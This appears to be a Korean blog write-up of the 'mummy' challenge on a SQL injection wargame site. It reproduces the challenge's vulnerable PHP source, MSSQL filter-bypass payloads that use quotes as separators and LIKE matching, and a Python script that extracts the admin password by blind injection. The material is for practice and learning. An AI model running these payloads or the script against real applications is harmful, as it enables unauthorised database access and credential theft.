<?php
include "./config.php";
login_chk();
$db = mssql_connect("mummy");
if(preg_match('/master|sys|information|;|\(|\//i', $_GET['query'])) exit("No Hack ~_~");
for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
$query = "select".$_GET['query'];
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result[0]) echo "<h2>Hello anonymous</h2>";
$query = "select pw from prob_mummy where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['pw'] === $_GET['pw']) solve("mummy");
highlight_file(__FILE__);
?>
쿼리를 직접 작성해줘야 한다.
ord(query 의 문자) <=32 면 exit 한다.
32 아래는 주로 공백밖에 없다. error 문구로도 whitespace 를 말해주고 있다.
admin 의 pw 를 직접 찾아주면 된다.
____________________________________________________
Hello anonymous 를 이용해서 blind sql injection 을 이용해주면 될 거 같다.
일단 쿼리 테이블 이름을 확인하자 : prob_mummy
맞는지 확인하기 위해서 Hello anonymous를 띄워보자.
?query=pwfromprob_mummywhereid='admin'
공백문자가 다 우회되기 때문에,,,,,새로운 구분자를 구글링해 보자.
"도 가능하고, [] 도 가능하다고 한다.
?query="pw"from"prob_mummy"where"id"='admin'
Hello anonymous를 띄워줬다.
이제 pw의 길이를 찾아보자.
?query=select * from prob_mummy where length(pw)=1
-> () 가 필터링이다. [] 를 대신 써주자.
?query="*"from"prob_mummy"where"len[pw]"=1
len 부분이 작동하지 않는다,, 여기서 생각난 것은
%__ 나 %__%를 이용해서 탐색해주는 것이다.
?query="pw"from"prob_mummy"where"id"='admin'and"pw"like'0%'
나머지 부분은 노가다 해줘야되니까 파이썬 코드로 구현하자.
일일히 찾는것도 좋지만 뭐가 들어가는지 먼저 찾아놓고 나중에 pw 에 매칭 하는 방식으로 구현했다. 무한루프 안에서 pw 가 같은값으로 반복된다면 종료해주면 된다.
import requests
PHPSESSID="본인 PHPSESSID"
url="https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php"
arr=[]
#looking for possible character (only upper letter)
for i in range (48,90):
query="?query=\"pw\"from\"prob_mummy\"where\"id\"='admin'and\"pw\"like'%"+chr(i)+"%'"
res=requests.post(url=url+query,cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello anonymous" in res.text:
print("[+]found !!! :"+chr(i))
arr.append(chr(i))
print(arr)
pw=""
#match pw
while(1):
for i in range(0,len(arr)):
query = "?query=\"pw\"from\"prob_mummy\"where\"id\"='admin'and\"pw\"like'"+pw+arr[i]+"%'"
res = requests.post(url=url + query, cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello anonymous" in res.text:
print("for len "+str(i)+" matched.... ")
pw+=arr[i]
break
print(pw)
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS_rubiya : Bugbear (0) | 2020.08.03 |
---|---|
LOS -rubiya : Golem (0) | 2020.08.03 |
LOS -rubiya : Incubus (0) | 2020.05.22 |
LOS -rubiya : Siren (0) | 2020.05.21 |
LOS -rubiya : Cerberus (0) | 2020.05.21 |